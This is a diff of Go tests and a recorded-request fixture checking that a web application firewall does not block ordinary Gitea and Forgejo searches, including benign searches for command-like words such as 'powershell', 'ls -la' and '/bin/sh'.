const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
requests := giteaRequests(t)
giteaOnly := map[string][]string{giteaHost: {gitea}}
@@ -133,7 +133,7 @@ func recordedRequests(t *testing.T, name string) []recordedRequest {
func wantRecordedRequestsPass(t *testing.T, name, app string) {
t.Helper()
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
requests := recordedRequests(t, name)
@@ -144,7 +144,7 @@ func wantRecordedRequestsPass(t *testing.T, name, app string) {
defaults := servingApps(t, apps)
bodies := shared(t, coreruleset.Params{
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules,
BodyInspectionSize: bodyInspectionSize, Apps: apps,
BodyLimit: bodyLimit, Apps: apps,
})
for _, recorded := range requests {
@@ -214,7 +214,7 @@ func TestOrdinaryDrupalRequestsPass(t *testing.T) {
func TestOrdinaryForgejoRequestsPass(t *testing.T) {
t.Parallel()
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
requests := recordedRequests(t, "forgejo-requests.txt")
forgejoOnly := map[string][]string{"example.com": {forgejo}}
-160
View File
@@ -974,163 +974,3 @@
{"method": "GET", "target": "/org/acme/issues/developers?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=SELECT%20%2A%20FROM%20users%20WHERE", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/issues/developers", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/org/acme/pulls/developers?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=SELECT%20%2A%20FROM%20users%20WHERE", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/pulls/developers", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/milestone/1?q=SELECT%20%2A%20FROM%20users%20WHERE", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/milestone/1", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
# The API's searches that gitea and Forgejo share, sent with curl to Forgejo
# 17.0.1. Each searches for words that name commands and files, such as python3
# and .htaccess, and for plain words. A package name can hold a slash, as npm's
# @alice/tools-cli does, so the search of packages is also sent /bin/sh. The
# search of unadopted repositories takes an owner and a name.
{"method": "GET", "target": "/api/v1/repos/search?q=python3&limit=10", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/search?q=powershell&limit=10", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/search?q=ls%20-la&limit=10", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/search?q=.htaccess&limit=10", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/search?q=docker-compose.yml&limit=10", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/search?q=tools&limit=10", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/users/search?q=python3", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/users/search?q=powershell", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/users/search?q=ls%20-la", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/users/search?q=.htaccess", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/users/search?q=bob", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/issues/search?q=python3&type=issues&state=open", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/issues/search?q=powershell&type=issues&state=open", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/issues/search?q=ls%20-la&type=issues&state=open", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/issues/search?q=.htaccess&type=issues&state=open", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/issues/search?q=docker-compose.yml&type=issues&state=open", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/issues/search?q=build&type=issues&state=open", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/issues?state=open&q=python3", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/issues?state=open&q=powershell", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/issues?state=open&q=ls%20-la", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/issues?state=open&q=.htaccess", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/issues?state=open&q=docker-compose.yml", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/packages/alice?q=python3", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/packages/alice?q=powershell", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/packages/alice?q=ls%20-la", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/packages/alice?q=.htaccess", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/packages/alice?q=%2Fbin%2Fsh", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/packages/alice?q=install-script", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/packages/alice?q=%40alice%2Ftools-cli", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/topics/search?q=python3", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/topics/search?q=powershell", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/topics/search?q=ls%20-la", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/topics/search?q=.htaccess", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/topics/search?q=docker", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/orgs/acme/teams/search?q=python3", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/orgs/acme/teams/search?q=powershell", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/orgs/acme/teams/search?q=ls%20-la", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/orgs/acme/teams/search?q=.htaccess", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/orgs/acme/teams/search?q=developers", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/admin/emails/search?q=python3", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/admin/emails/search?q=powershell", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/admin/emails/search?q=ls%20-la", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/admin/emails/search?q=.htaccess", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/admin/emails/search?q=alice", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/admin/unadopted?query=python3", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/admin/unadopted?query=powershell", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/admin/unadopted?query=ls%20-la", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/admin/unadopted?query=.htaccess", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/admin/unadopted?query=alice%2Fpython3-app", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/admin/unadopted?query=alice%2Flegacy-site", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/milestones?state=open&name=python3", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/milestones?state=open&name=powershell", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/milestones?state=open&name=ls%20-la", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/milestones?state=open&name=.htaccess", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/milestones?state=open&name=v1.0", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
# The package registries' searches, sent to Forgejo 17.0.1 by each registry's
# own client: npm, composer, conan 2 and 1, cargo, dotnet and knife. curl sent
# the requests no client sends: the Chef cookbook list with a search, and
# NuGet's Packages() with the search in $filter, as NuGet's client builds it for
# a feed without Search(). curl also sent each NuGet Search() and Packages()
# search to Search()/$count and Packages()/$count, which count its results. Each
# searches for words that name commands and files, such as python3 and
# .htaccess, and for plain words. A Composer, Conan or npm name can hold a
# slash, so those searches are also sent /bin/sh.
{"method": "GET", "target": "/api/packages/alice/npm/-/v1/search?text=python3&size=20&from=0&quality=0.65&popularity=0.98&maintenance=0.5", "headers": ["user-agent: npm/10.9.9 node/v22.23.5 linux x64 workspaces/false", "npm-auth-type: web", "npm-command: search", "Accept: */*", "Accept-Encoding: gzip,deflate", "Host: example.com", "connection: keep-alive"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/npm/-/v1/search?text=powershell&size=20&from=0&quality=0.65&popularity=0.98&maintenance=0.5", "headers": ["user-agent: npm/10.9.9 node/v22.23.5 linux x64 workspaces/false", "npm-auth-type: web", "npm-command: search", "Accept: */*", "Accept-Encoding: gzip,deflate", "Host: example.com", "connection: keep-alive"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/npm/-/v1/search?text=ls+-la&size=20&from=0&quality=0.65&popularity=0.98&maintenance=0.5", "headers": ["user-agent: npm/10.9.9 node/v22.23.5 linux x64 workspaces/false", "npm-auth-type: web", "npm-command: search", "Accept: */*", "Accept-Encoding: gzip,deflate", "Host: example.com", "connection: keep-alive"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/npm/-/v1/search?text=.htaccess&size=20&from=0&quality=0.65&popularity=0.98&maintenance=0.5", "headers": ["user-agent: npm/10.9.9 node/v22.23.5 linux x64 workspaces/false", "npm-auth-type: web", "npm-command: search", "Accept: */*", "Accept-Encoding: gzip,deflate", "Host: example.com", "connection: keep-alive"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/npm/-/v1/search?text=%2Fbin%2Fsh&size=20&from=0&quality=0.65&popularity=0.98&maintenance=0.5", "headers": ["user-agent: npm/10.9.9 node/v22.23.5 linux x64 workspaces/false", "npm-auth-type: web", "npm-command: search", "Accept: */*", "Accept-Encoding: gzip,deflate", "Host: example.com", "connection: keep-alive"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/npm/-/v1/search?text=%40alice%2Ftools-cli&size=20&from=0&quality=0.65&popularity=0.98&maintenance=0.5", "headers": ["user-agent: npm/10.9.9 node/v22.23.5 linux x64 workspaces/false", "npm-auth-type: web", "npm-command: search", "Accept: */*", "Accept-Encoding: gzip,deflate", "Host: example.com", "connection: keep-alive"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/npm/-/v1/search?text=docker-compose.yml&size=20&from=0&quality=0.65&popularity=0.98&maintenance=0.5", "headers": ["user-agent: npm/10.9.9 node/v22.23.5 linux x64 workspaces/false", "npm-auth-type: web", "npm-command: search", "Accept: */*", "Accept-Encoding: gzip,deflate", "Host: example.com", "connection: keep-alive"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/npm/-/v1/search?text=tools&size=20&from=0&quality=0.65&popularity=0.98&maintenance=0.5", "headers": ["user-agent: npm/10.9.9 node/v22.23.5 linux x64 workspaces/false", "npm-auth-type: web", "npm-command: search", "Accept: */*", "Accept-Encoding: gzip,deflate", "Host: example.com", "connection: keep-alive"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/composer/search.json?q=python3&type=", "headers": ["Host: example.com", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "User-Agent: Composer/2.11.2 (Linux; 6.8.0-111-generic; PHP 8.5.12; cURL 8.23.0; cmd:search)", "Connection: keep-alive"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/composer/search.json?q=powershell&type=", "headers": ["Host: example.com", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "User-Agent: Composer/2.11.2 (Linux; 6.8.0-111-generic; PHP 8.5.12; cURL 8.23.0; cmd:search)", "Connection: keep-alive"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/composer/search.json?q=ls+-la&type=", "headers": ["Host: example.com", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "User-Agent: Composer/2.11.2 (Linux; 6.8.0-111-generic; PHP 8.5.12; cURL 8.23.0; cmd:search)", "Connection: keep-alive"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/composer/search.json?q=.htaccess&type=", "headers": ["Host: example.com", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "User-Agent: Composer/2.11.2 (Linux; 6.8.0-111-generic; PHP 8.5.12; cURL 8.23.0; cmd:search)", "Connection: keep-alive"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/composer/search.json?q=%2Fbin%2Fsh&type=", "headers": ["Host: example.com", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "User-Agent: Composer/2.11.2 (Linux; 6.8.0-111-generic; PHP 8.5.12; cURL 8.23.0; cmd:search)", "Connection: keep-alive"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/composer/search.json?q=alice%2Ftools-cli&type=", "headers": ["Host: example.com", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "User-Agent: Composer/2.11.2 (Linux; 6.8.0-111-generic; PHP 8.5.12; cURL 8.23.0; cmd:search)", "Connection: keep-alive"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/composer/search.json?q=docker-compose.yml&type=", "headers": ["Host: example.com", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "User-Agent: Composer/2.11.2 (Linux; 6.8.0-111-generic; PHP 8.5.12; cURL 8.23.0; cmd:search)", "Connection: keep-alive"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/composer/search.json?q=tools&type=", "headers": ["Host: example.com", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "User-Agent: Composer/2.11.2 (Linux; 6.8.0-111-generic; PHP 8.5.12; cURL 8.23.0; cmd:search)", "Connection: keep-alive"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/conan/v2/conans/search?q=python3", "headers": ["Host: example.com", "User-Agent: Conan/2.34.0 (Linux 6.8.0-111-generic; Python 3.13.18; x86_64)", "Accept-Encoding: gzip, deflate", "Accept: */*", "Connection: keep-alive", "X-Client-Anonymous-Id: afce410baeaee94a86997417d92f7788a91b00c5"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/conan/v2/conans/search?q=powershell", "headers": ["Host: example.com", "User-Agent: Conan/2.34.0 (Linux 6.8.0-111-generic; Python 3.13.18; x86_64)", "Accept-Encoding: gzip, deflate", "Accept: */*", "Connection: keep-alive", "X-Client-Anonymous-Id: afce410baeaee94a86997417d92f7788a91b00c5"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/conan/v2/conans/search?q=ls+-la", "headers": ["Host: example.com", "User-Agent: Conan/2.34.0 (Linux 6.8.0-111-generic; Python 3.13.18; x86_64)", "Accept-Encoding: gzip, deflate", "Accept: */*", "Connection: keep-alive", "X-Client-Anonymous-Id: afce410baeaee94a86997417d92f7788a91b00c5"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/conan/v2/conans/search?q=.htaccess", "headers": ["Host: example.com", "User-Agent: Conan/2.34.0 (Linux 6.8.0-111-generic; Python 3.13.18; x86_64)", "Accept-Encoding: gzip, deflate", "Accept: */*", "Connection: keep-alive", "X-Client-Anonymous-Id: afce410baeaee94a86997417d92f7788a91b00c5"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/conan/v2/conans/search?q=%2Fbin%2Fsh", "headers": ["Host: example.com", "User-Agent: Conan/2.34.0 (Linux 6.8.0-111-generic; Python 3.13.18; x86_64)", "Accept-Encoding: gzip, deflate", "Accept: */*", "Connection: keep-alive", "X-Client-Anonymous-Id: afce410baeaee94a86997417d92f7788a91b00c5"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/conan/v2/conans/search?q=tools%2F%2A", "headers": ["Host: example.com", "User-Agent: Conan/2.34.0 (Linux 6.8.0-111-generic; Python 3.13.18; x86_64)", "Accept-Encoding: gzip, deflate", "Accept: */*", "Connection: keep-alive", "X-Client-Anonymous-Id: afce410baeaee94a86997417d92f7788a91b00c5"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/conan/v2/conans/search?q=tools%2F1.0%40alice%2Fstable", "headers": ["Host: example.com", "User-Agent: Conan/2.34.0 (Linux 6.8.0-111-generic; Python 3.13.18; x86_64)", "Accept-Encoding: gzip, deflate", "Accept: */*", "Connection: keep-alive", "X-Client-Anonymous-Id: afce410baeaee94a86997417d92f7788a91b00c5"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/conan/v2/conans/search?q=docker-compose.yml", "headers": ["Host: example.com", "User-Agent: Conan/2.34.0 (Linux 6.8.0-111-generic; Python 3.13.18; x86_64)", "Accept-Encoding: gzip, deflate", "Accept: */*", "Connection: keep-alive", "X-Client-Anonymous-Id: afce410baeaee94a86997417d92f7788a91b00c5"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/conan/v2/conans/search?q=tools", "headers": ["Host: example.com", "User-Agent: Conan/2.34.0 (Linux 6.8.0-111-generic; Python 3.13.18; x86_64)", "Accept-Encoding: gzip, deflate", "Accept: */*", "Connection: keep-alive", "X-Client-Anonymous-Id: afce410baeaee94a86997417d92f7788a91b00c5"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/conan/v1/conans/search?q=python3", "headers": ["Host: example.com", "User-Agent: Conan/1.66.0 (Linux 6.8.0-111-generic; Python 3.13.18; x86_64)", "Accept-Encoding: gzip, deflate", "Accept: */*", "Connection: keep-alive", "X-Client-Anonymous-Id: afce410baeaee94a86997417d92f7788a91b00c5", "X-Client-Id: "], "body": ""}
{"method": "GET", "target": "/api/packages/alice/conan/v1/conans/search?q=powershell", "headers": ["Host: example.com", "User-Agent: Conan/1.66.0 (Linux 6.8.0-111-generic; Python 3.13.18; x86_64)", "Accept-Encoding: gzip, deflate", "Accept: */*", "Connection: keep-alive", "X-Client-Anonymous-Id: afce410baeaee94a86997417d92f7788a91b00c5", "X-Client-Id: "], "body": ""}
{"method": "GET", "target": "/api/packages/alice/conan/v1/conans/search?q=ls+-la", "headers": ["Host: example.com", "User-Agent: Conan/1.66.0 (Linux 6.8.0-111-generic; Python 3.13.18; x86_64)", "Accept-Encoding: gzip, deflate", "Accept: */*", "Connection: keep-alive", "X-Client-Anonymous-Id: afce410baeaee94a86997417d92f7788a91b00c5", "X-Client-Id: "], "body": ""}
{"method": "GET", "target": "/api/packages/alice/conan/v1/conans/search?q=.htaccess", "headers": ["Host: example.com", "User-Agent: Conan/1.66.0 (Linux 6.8.0-111-generic; Python 3.13.18; x86_64)", "Accept-Encoding: gzip, deflate", "Accept: */*", "Connection: keep-alive", "X-Client-Anonymous-Id: afce410baeaee94a86997417d92f7788a91b00c5", "X-Client-Id: "], "body": ""}
{"method": "GET", "target": "/api/packages/alice/conan/v1/conans/search?q=%2Fbin%2Fsh", "headers": ["Host: example.com", "User-Agent: Conan/1.66.0 (Linux 6.8.0-111-generic; Python 3.13.18; x86_64)", "Accept-Encoding: gzip, deflate", "Accept: */*", "Connection: keep-alive", "X-Client-Anonymous-Id: afce410baeaee94a86997417d92f7788a91b00c5", "X-Client-Id: "], "body": ""}
{"method": "GET", "target": "/api/packages/alice/conan/v1/conans/search?q=tools%2F%2A", "headers": ["Host: example.com", "User-Agent: Conan/1.66.0 (Linux 6.8.0-111-generic; Python 3.13.18; x86_64)", "Accept-Encoding: gzip, deflate", "Accept: */*", "Connection: keep-alive", "X-Client-Anonymous-Id: afce410baeaee94a86997417d92f7788a91b00c5", "X-Client-Id: "], "body": ""}
{"method": "GET", "target": "/api/packages/alice/conan/v1/conans/search?q=docker-compose.yml", "headers": ["Host: example.com", "User-Agent: Conan/1.66.0 (Linux 6.8.0-111-generic; Python 3.13.18; x86_64)", "Accept-Encoding: gzip, deflate", "Accept: */*", "Connection: keep-alive", "X-Client-Anonymous-Id: afce410baeaee94a86997417d92f7788a91b00c5", "X-Client-Id: "], "body": ""}
{"method": "GET", "target": "/api/packages/alice/conan/v1/conans/search?q=tools", "headers": ["Host: example.com", "User-Agent: Conan/1.66.0 (Linux 6.8.0-111-generic; Python 3.13.18; x86_64)", "Accept-Encoding: gzip, deflate", "Accept: */*", "Connection: keep-alive", "X-Client-Anonymous-Id: afce410baeaee94a86997417d92f7788a91b00c5", "X-Client-Id: "], "body": ""}
{"method": "GET", "target": "/api/packages/alice/cargo/api/v1/crates?q=python3&per_page=10", "headers": ["Host: example.com", "User-Agent: cargo/1.99.1 (5f94df478 2026-08-27)", "Accept-Encoding: deflate, gzip", "Upgrade: h2c", "HTTP2-Settings: AAMAAABkAAQAAQAAAAIAAAAA", "accept: application/json", "Connection: Upgrade, HTTP2-Settings"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/cargo/api/v1/crates?q=powershell&per_page=10", "headers": ["Host: example.com", "User-Agent: cargo/1.99.1 (5f94df478 2026-08-27)", "Accept-Encoding: deflate, gzip", "Upgrade: h2c", "HTTP2-Settings: AAMAAABkAAQAAQAAAAIAAAAA", "accept: application/json", "Connection: Upgrade, HTTP2-Settings"], "body": ""}
